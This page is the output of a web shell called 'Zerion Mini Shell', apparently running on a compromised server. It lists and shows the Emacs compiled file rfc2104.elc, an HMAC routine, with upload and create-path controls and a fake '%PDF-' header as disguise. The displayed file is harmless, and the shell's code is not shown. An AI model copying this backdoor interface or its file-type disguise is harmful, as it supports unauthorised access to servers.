%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/local/share/emacs/27.2/lisp/net/
Upload File :
Create Path :
Current File : //usr/local/share/emacs/27.2/lisp/net/rfc2104.elc

;ELC
;;; Compiled
;;; in Emacs version 27.2
;;; with all optimizations.

;;; This file uses dynamic docstrings, first added in Emacs 19.29.

;;; This file does not contain utf-8 non-ASCII characters,
;;; and so can be loaded in Emacs versions earlier than 23.

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


(defconst rfc2104-ipad 54)
(defconst rfc2104-opad 92)
(defconst rfc2104-nybbles (byte-code "\300\301\302\"\303\211\203@@@AI\210\211A\262\202\207" [make-vector 103 nil ((48 . 0) (97 . 10) (65 . 10) (49 . 1) (98 . 11) (66 . 11) (50 . 2) (99 . 12) (67 . 12) (51 . 3) (100 . 13) (68 . 13) (52 . 4) (101 . 14) (69 . 14) (53 . 5) (102 . 15) (70 . 15) (54 . 6) (55 . 7) (56 . 8) (57 . 9))] 5))
#@47 

(fn HASH BLOCK-LENGTH HASH-LENGTH KEY TEXT)
(defalias 'rfc2104-hash #[1285 "GV\203
!\202\211G\303\"\303\\	\"\304\211\305U\204EH\262\306\"I\210\306	\"I\210\211T\262\202 \210\nP!\262\305\n\307_U\204}\310\nHH_\nTHH\\I\210\307\\\262\211T\262\202R\266\n!\207" [rfc2104-ipad rfc2104-opad rfc2104-nybbles make-string nil 0 logxor 2 16] 19 (#$ . 804)])
(provide 'rfc2104)

Zerion Mini Shell 1.0